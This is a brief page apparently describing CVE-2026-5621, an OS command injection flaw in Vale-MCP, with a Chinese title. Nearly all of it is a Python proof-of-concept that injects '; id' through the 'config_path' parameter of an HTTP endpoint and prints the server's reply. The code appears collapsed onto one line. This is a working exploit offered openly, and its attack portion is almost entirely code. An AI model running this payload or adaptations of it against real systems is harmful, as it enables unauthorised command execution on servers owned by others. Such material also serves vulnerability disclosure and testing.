CVE-2026-5621 Vale-MCP操作系统命令注入漏洞

import requests def exploit_vale_mcp(target_url): """ PoC for CVE-2026-5621: OS Command Injection in Vale-MCP The vulnerability exists in the 'config_path' parameter of the HTTP interface. This script sends a malicious payload to execute 'id' command. """ # Malicious payload injecting a shell command # Using ';' to chain commands in Unix-like systems payload = "; id" # Prepare the data payload data = { "config_path": payload } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=data, timeout=5) # Check if command injection might have occurred if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Exploit failed due to network error: {e}") if __name__ == "__main__": # Example target (adjust port/path based on actual service configuration) target = "http://127.0.0.1:3000/api/config" exploit_vale_mcp(target)